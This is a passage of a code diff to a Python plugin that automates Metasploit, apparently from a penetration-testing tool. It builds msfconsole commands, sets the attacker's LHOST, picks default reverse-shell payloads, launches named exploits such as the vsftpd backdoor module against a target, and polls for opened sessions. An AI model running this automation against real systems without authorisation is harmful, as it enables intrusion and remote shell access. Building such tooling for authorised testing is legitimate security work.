+ result = client.execute_module("exploit", exploit_path, options)
243
291
 
244
- if isinstance(result, dict) and 'error' in result:
245
- error_msg = result.get('error_message', result.get('error', 'Unknown error'))
292
+ if isinstance(result, dict) and "error" in result:
293
+ error_msg = result.get(
294
+ "error_message", result.get("error", "Unknown error")
295
+ )
246
296
  if log_path:
247
- with open(log_path, 'a') as f:
297
+ with open(log_path, "a") as f:
248
298
  f.write(f"[-] Exploit submission failed: {error_msg}\n")
249
- return {'success': False, 'error': error_msg}
299
+ return {"success": False, "error": error_msg}
250
300
 
251
- job_id = result.get('job_id')
301
+ job_id = result.get("job_id")
252
302
  if log_path:
253
- with open(log_path, 'a') as f:
303
+ with open(log_path, "a") as f:
254
304
  f.write(f"[*] Exploit submitted as MSF job {job_id}\n")
255
305
  f.write(f"[*] Polling for session (max {max_poll}s)...\n")
256
306
 
257
307
  except Exception as e:
258
308
  if log_path:
259
- with open(log_path, 'a') as f:
309
+ with open(log_path, "a") as f:
260
310
  f.write(f"[-] Execute failed: {e}\n")
261
- return {'success': False, 'error': f'Execute failed: {e}'}
311
+ return {"success": False, "error": f"Execute failed: {e}"}
262
312
 
263
313
  # Poll for new session
264
314
  start_time = time.time()
@@ -274,37 +324,57 @@ class MsfExploitPlugin(PluginBase):
274
324
  session_info = client.get_session_info(int(session_id))
275
325
 
276
326
  if log_path:
277
- with open(log_path, 'a') as f:
327
+ with open(log_path, "a") as f:
278
328
  f.write(f"\n[+] Session {session_id} opened!\n")
279
- f.write(f" Type: {session_info.get('type', 'unknown')}\n")
280
- f.write(f" Platform: {session_info.get('platform', 'unknown')}\n")
281
- f.write(f" Via: {session_info.get('via_exploit', exploit_path)}\n")
282
- f.write(f" Tunnel: {session_info.get('tunnel_peer', 'N/A')}\n")
283
- f.write(f"\n[*] Session is persistent - interact via MSF Sessions menu\n")
284
- f.write(f"Completed: {time.strftime('%Y-%m-%d %H:%M:%S UTC', time.gmtime())}\n")
329
+ f.write(
330
+ f" Type: {session_info.get('type', 'unknown')}\n"
331
+ )
332
+ f.write(
333
+ f" Platform: {session_info.get('platform', 'unknown')}\n"
334
+ )
335
+ f.write(
336
+ f" Via: {session_info.get('via_exploit', exploit_path)}\n"
337
+ )
338
+ f.write(
339
+ f" Tunnel: {session_info.get('tunnel_peer', 'N/A')}\n"
340
+ )
341
+ f.write(
342
+ f"\n[*] Session is persistent - interact via MSF Sessions menu\n"
343
+ )
344
+ f.write(
345
+ f"Completed: {time.strftime('%Y-%m-%d %H:%M:%S UTC', time.gmtime())}\n"
346
+ )
285
347
 
286
348
  return {
287
- 'success': True,
288
- 'session_id': session_id,
289
- 'session_info': session_info,
290
- 'exploit_path': exploit_path
349
+ "success": True,
350
+ "session_id": session_id,
351
+ "session_info": session_info,
352
+ "exploit_path": exploit_path,
291
353
  }
292
354
 
293
355
  except Exception as e:
294
356
  if log_path:
295
- with open(log_path, 'a') as f:
357
+ with open(log_path, "a") as f:
296
358
  f.write(f"[!] Poll error: {e}\n")
297
359
 
298
360
  # Timeout - no session opened (not an error, just means target likely not vulnerable)
299
361
  if log_path:
300
- with open(log_path, 'a') as f:
362
+ with open(log_path, "a") as f:
301
363
  f.write(f"\n[*] No session opened after {max_poll}s\n")
302
- f.write(f"[*] Target may not be vulnerable or exploit conditions not met\n")
364
+ f.write(
365
+ f"[*] Target may not be vulnerable or exploit conditions not met\n"
366
+ )
303
367
  f.write(f"[*] Try re-running the exploit if needed\n")
304
- f.write(f"Completed: {time.strftime('%Y-%m-%d %H:%M:%S UTC', time.gmtime())}\n")
368
+ f.write(
369
+ f"Completed: {time.strftime('%Y-%m-%d %H:%M:%S UTC', time.gmtime())}\n"
370
+ )
305
371
 
306
372
  # Return success=False but no 'error' key - this is a "no results" case, not an error
307
- return {'success': False, 'no_session': True, 'reason': f'No session after {max_poll}s'}
373
+ return {
374
+ "success": False,
375
+ "no_session": True,
376
+ "reason": f"No session after {max_poll}s",
377
+ }
308
378
 
309
379
  def _get_local_ip(self, target: str) -> str:
310
380
  """Get local IP that can reach the target."""
@@ -323,18 +393,21 @@ class MsfExploitPlugin(PluginBase):
323
393
  ["ip", "route", "get", target],
324
394
  capture_output=True,
325
395
  text=True,
326
- timeout=5
396
+ timeout=5,
327
397
  )
328
398
  if result.returncode == 0:
329
399
  import re
330
- match = re.search(r'src\s+(\d+\.\d+\.\d+\.\d+)', result.stdout)
400
+
401
+ match = re.search(r"src\s+(\d+\.\d+\.\d+\.\d+)", result.stdout)
331
402
  if match:
332
403
  return match.group(1)
333
404
  except Exception:
334
405
  pass
335
406
  return None
336
407
 
337
- def build_command(self, target: str, args: List[str] = None, label: str = "", log_path: str = None):
408
+ def build_command(
409
+ self, target: str, args: List[str] = None, label: str = "", log_path: str = None
410
+ ):
338
411
  """
339
412
  Build command for background execution.
340
413
 
@@ -353,17 +426,22 @@ class MsfExploitPlugin(PluginBase):
353
426
 
354
427
  # Check if RPC mode should be used (Pro feature)
355
428
  if self._use_rpc_mode():
356
- options, has_payload = self._parse_exploit_options(target, extra_opts)
357
- payload = None if has_payload else self._get_default_payload(exploit_path)
429
+ options, has_payload, needs_payload = self._parse_exploit_options(
430
+ target, extra_opts, exploit_path
431
+ )
432
+ # Only set payload if: exploit needs it AND user didn't provide one
433
+ payload = None
434
+ if needs_payload and not has_payload:
435
+ payload = self._get_default_payload(exploit_path)
358
436
 
359
437
  return {
360
- 'mode': 'rpc',
361
- 'exploit_path': exploit_path,
362
- 'target': target,
363
- 'options': options,
364
- 'payload': payload,
365
- 'log_path': log_path,
366
- 'timeout': 300 # Max poll time
438
+ "mode": "rpc",
439
+ "exploit_path": exploit_path,
440
+ "target": target,
441
+ "options": options,
442
+ "payload": payload,
443
+ "log_path": log_path,
444
+ "timeout": 300, # Max poll time
367
445
  }
368
446
 
369
447
  # Console mode (Free users or RPC unavailable)
@@ -374,12 +452,17 @@ class MsfExploitPlugin(PluginBase):
374
452
  target: str,
375
453
  exploit_path: str,
376
454
  extra_opts: List[str],
377
- log_path: str = None
455
+ log_path: str = None,
378
456
  ) -> Dict[str, Any]:
379
457
  """Build msfconsole command spec for console mode."""
380
458
  # Parse extra options to check for LHOST/PAYLOAD
381
- has_lhost = any('LHOST=' in opt.upper() for opt in extra_opts)
382
- has_payload = any('PAYLOAD=' in opt.upper() for opt in extra_opts)
459
+ has_lhost = any("LHOST=" in opt.upper() for opt in extra_opts)
460
+ has_payload = any("PAYLOAD=" in opt.upper() for opt in extra_opts)
461
+
462
+ # Check if this exploit needs LHOST/PAYLOAD
463
+ # Some exploits (vsftpd backdoor, usermap_script) have built-in
464
+ # bind shells or use command execution - they don't need payloads
465
+ needs_payload = _exploit_needs_payload(exploit_path)
383
466
 
384
467
  # Build msfconsole command
385
468
  msf_commands = [
@@ -388,21 +471,21 @@ class MsfExploitPlugin(PluginBase):
388
471
  ]
389
472
 
390
473
  # Auto-detect LHOST if not provided and needed for reverse payloads
391
- if not has_lhost:
474
+ if needs_payload and not has_lhost:
392
475
  local_ip = self._get_local_ip(target)
393
476
  if local_ip:
394
477
  msf_commands.append(f"set LHOST {local_ip}")
395
478
 
396
479
  # Add any extra options
397
480
  for opt in extra_opts:
398
- if '=' in opt:
399
- key, value = opt.split('=', 1)
481
+ if "=" in opt:
482
+ key, value = opt.split("=", 1)
400
483
  msf_commands.append(f"set {key} {value}")
401
484
  else:
402
485
  msf_commands.append(opt)
403
486
 
404
- # Set default payload if not provided
405
- if not has_payload:
487
+ # Set default payload if not provided (only for exploits that need it)
488
+ if needs_payload and not has_payload:
406
489
  default_payload = self._get_default_payload(exploit_path)
407
490
  msf_commands.append(f"set PAYLOAD {default_payload}")
408
491
 
@@ -412,20 +495,13 @@ class MsfExploitPlugin(PluginBase):
412
495
 
413
496
  command_string = "; ".join(msf_commands)
414
497
 
415
- cmd = [
416
- "msfconsole",
417
- "-q",
418
- "-n",
419
- "-x",
420
- command_string
421
- ]
498
+ cmd = ["msfconsole", "-q", "-n", "-x", command_string]
422
499
 
423
- return {
424
- 'cmd': cmd,
425
- 'timeout': 300 # 5 minutes for exploits
426
- }
500
+ return {"cmd": cmd, "timeout": 300} # 5 minutes for exploits
427
501
 
428
- def run(self, target: str, args: List[str] = None, label: str = "", log_path: str = None) -> int:
502
+ def run(
503
+ self, target: str, args: List[str] = None, label: str = "", log_path: str = None
504
+ ) -> int:
429
505
  """Execute MSF exploit module non-interactively."""
430
506
  args = args or []
431
507
 
@@ -433,7 +509,9 @@ class MsfExploitPlugin(PluginBase):
433
509
  if not args:
434
510
  if log_path:
435
511
  with open(log_path, "w") as f:
436
- f.write("ERROR: No exploit specified. Example: exploit/unix/ftp/vsftpd_234_backdoor\n")
512
+ f.write(
513
+ "ERROR: No exploit specified. Example: exploit/unix/ftp/vsftpd_234_backdoor\n"
514
+ )
437
515
  return 1
438
516
 
439
517
  exploit_path = args[0]
@@ -444,12 +522,17 @@ class MsfExploitPlugin(PluginBase):
444
522
 
445
523
  return self._run_legacy(exploit_path, target, extra_opts)
446
524
 
447
- def _run_with_logpath(self, exploit_path: str, target: str, extra_opts: List[str], log_path: str) -> int:
525
+ def _run_with_logpath(
526
+ self, exploit_path: str, target: str, extra_opts: List[str], log_path: str
527
+ ) -> int:
448
528
  """Run MSF exploit and write output to log_path."""
449
529
  try:
450
530
  # Parse extra options
451
- has_lhost = any('LHOST=' in opt.upper() for opt in extra_opts)
452
- has_payload = any('PAYLOAD=' in opt.upper() for opt in extra_opts)
531
+ has_lhost = any("LHOST=" in opt.upper() for opt in extra_opts)
532
+ has_payload = any("PAYLOAD=" in opt.upper() for opt in extra_opts)
533
+
534
+ # Check if this exploit needs LHOST/PAYLOAD
535
+ needs_payload = _exploit_needs_payload(exploit_path)
453
536
 
454
537
  # Build msfconsole command
455
538
  msf_commands = [
@@ -457,32 +540,24 @@ class MsfExploitPlugin(PluginBase):
457
540
  f"set RHOSTS {target}",
458
541
  ]
459
542
 
460
- # Auto-detect LHOST if not provided
543
+ # Auto-detect LHOST if not provided (only for exploits that need it)
461
544
  local_ip = None
462
- if not has_lhost:
545
+ if needs_payload and not has_lhost:
463
546
  local_ip = self._get_local_ip(target)
464
547
  if local_ip:
465
548
  msf_commands.append(f"set LHOST {local_ip}")
466
549
 
467
550
  # Add extra options
468
551
  for opt in extra_opts:
469
- if '=' in opt:
470
- key, value = opt.split('=', 1)
552
+ if "=" in opt:
553
+ key, value = opt.split("=", 1)
471
554
  msf_commands.append(f"set {key} {value}")
472
555
  else:
473
556
  msf_commands.append(opt)
474
557
 
475
- # Set default payload if not provided
476
- if not has_payload:
477
- exploit_lower = exploit_path.lower()
478
- if 'windows' in exploit_lower:
479
- default_payload = 'generic/shell_reverse_tcp'
480
- elif 'unix' in exploit_lower or 'linux' in exploit_lower:
481
- default_payload = 'cmd/unix/reverse'
482
- elif 'multi' in exploit_lower:
483
- default_payload = 'generic/shell_reverse_tcp'
484
- else:
485
- default_payload = 'generic/shell_reverse_tcp'
558
+ # Set default payload if not provided (only for exploits that need it)
559
+ if needs_payload and not has_payload:
560
+ default_payload = self._get_default_payload(exploit_path)
486
561
  msf_commands.append(f"set PAYLOAD {default_payload}")
487
562
 
488
563
  # Run exploit
@@ -491,13 +566,7 @@ class MsfExploitPlugin(PluginBase):
491
566
 
492
567
  command_string = "; ".join(msf_commands)
493
568
 
494
- cmd = [
495
- "msfconsole",
496
- "-q",
497
- "-n",
498
- "-x",
499
- command_string
500
- ]
569
+ cmd = ["msfconsole", "-q", "-n", "-x", command_string]
501
570
 
502
571
  with open(log_path, "w", encoding="utf-8", errors="replace") as fh:
503
572
  fh.write("=== Metasploit Exploit Module ===\n")
@@ -505,8 +574,12 @@ class MsfExploitPlugin(PluginBase):
505
574
  fh.write(f"Target: {target}\n")
506
575
  if local_ip:
507
576
  fh.write(f"LHOST (auto): {local_ip}\n")
508
- fh.write(f"Options: {', '.join(extra_opts) if extra_opts else 'None'}\n")
509
- fh.write(f"Started: {time.strftime('%Y-%m-%d %H:%M:%S UTC', time.gmtime())}\n\n")
577
+ fh.write(
578
+ f"Options: {', '.join(extra_opts) if extra_opts else 'None'}\n"
579
+ )
580
+ fh.write(
581
+ f"Started: {time.strftime('%Y-%m-%d %H:%M:%S UTC', time.gmtime())}\n\n"
582
+ )
510
583
  fh.write(f"Command: {' '.join(cmd)}\n\n")
511
584
  fh.flush()
512
585
 
@@ -516,10 +589,12 @@ class MsfExploitPlugin(PluginBase):
516
589
  stdout=fh,
517
590
  stderr=subprocess.STDOUT,
518
591
  timeout=300, # 5 minutes for exploits
519
- check=False
592
+ check=False,
520
593
  )
521
594
 
522
- fh.write(f"\n\nCompleted: {time.strftime('%Y-%m-%d %H:%M:%S UTC', time.gmtime())}\n")
595
+ fh.write(
596
+ f"\n\nCompleted: {time.strftime('%Y-%m-%d %H:%M:%S UTC', time.gmtime())}\n"
597
+ )
523
598
  fh.write(f"Exit Code: {proc.returncode}\n")
524
599
 
525
600
  return proc.returncode
@@ -528,17 +603,24 @@ class MsfExploitPlugin(PluginBase):
528
603
  # Check if a session was opened before timeout
529
604
  # This is success - MSF keeps sessions alive which causes timeout
530
605
  import re
606
+
531
607
  try:
532
608
  with open(log_path, "r", encoding="utf-8", errors="replace") as fh:
533
609
  content = fh.read()
534
- session_opened = bool(re.search(r'session \d+ opened', content, re.IGNORECASE))
610
+ session_opened = bool(
611
+ re.search(r"session \d+ opened", content, re.IGNORECASE)
612
+ )
535
613
  except Exception:
536
614
  session_opened = False
537
615
 
538
616
  with open(log_path, "a", encoding="utf-8", errors="replace") as fh:
539
617
  if session_opened:
540
- fh.write("\n[*] Session opened successfully (timeout expected - session is active)\n")
541
- fh.write(f"Completed: {time.strftime('%Y-%m-%d %H:%M:%S UTC', time.gmtime())}\n")
618
+ fh.write(
619
+ "\n[*] Session opened successfully (timeout expected - session is active)\n"
620
+ )
621
+ fh.write(
622
+ f"Completed: {time.strftime('%Y-%m-%d %H:%M:%S UTC', time.gmtime())}\n"
623
+ )
542
624
  else:
543
625
  fh.write("\nERROR: Exploit timed out after 300 seconds\n")
544
626
 
@@ -563,31 +645,27 @@ class MsfExploitPlugin(PluginBase):
563
645
  ]
564
646
 
565
647
  # Try to auto-detect LHOST
566
- has_lhost = any('LHOST=' in opt.upper() for opt in extra_opts)
567
- has_payload = any('PAYLOAD=' in opt.upper() for opt in extra_opts)
568
- if not has_lhost:
648
+ has_lhost = any("LHOST=" in opt.upper() for opt in extra_opts)
649
+ has_payload = any("PAYLOAD=" in opt.upper() for opt in extra_opts)
650
+
651
+ # Check if this exploit needs LHOST/PAYLOAD
652
+ needs_payload = _exploit_needs_payload(exploit_path)
653
+
654
+ if needs_payload and not has_lhost:
569
655
  local_ip = self._get_local_ip(target)
570
656
  if local_ip:
571
657
  msf_commands.append(f"set LHOST {local_ip}")
572
658
 
573
659
  for opt in extra_opts:
574
- if '=' in opt:
575
- key, value = opt.split('=', 1)
660
+ if "=" in opt:
661
+ key, value = opt.split("=", 1)
576
662
  msf_commands.append(f"set {key} {value}")
577
663
  else:
578
664
  msf_commands.append(opt)
579
665
 
580
- # Set default payload if not provided
581
- if not has_payload:
582
- exploit_lower = exploit_path.lower()
583
- if 'windows' in exploit_lower:
584
- default_payload = 'generic/shell_reverse_tcp'
585
- elif 'unix' in exploit_lower or 'linux' in exploit_lower:
586
- default_payload = 'cmd/unix/reverse'
587
- elif 'multi' in exploit_lower:
588
- default_payload = 'generic/shell_reverse_tcp'
589
- else:
590
- default_payload = 'generic/shell_reverse_tcp'
666
+ # Set default payload if not provided (only for exploits that need it)
667
+ if needs_payload and not has_payload:
668
+ default_payload = self._get_default_payload(exploit_path)
591
669
  msf_commands.append(f"set PAYLOAD {default_payload}")
592
670
 
593
671
  msf_commands.append("exploit -z")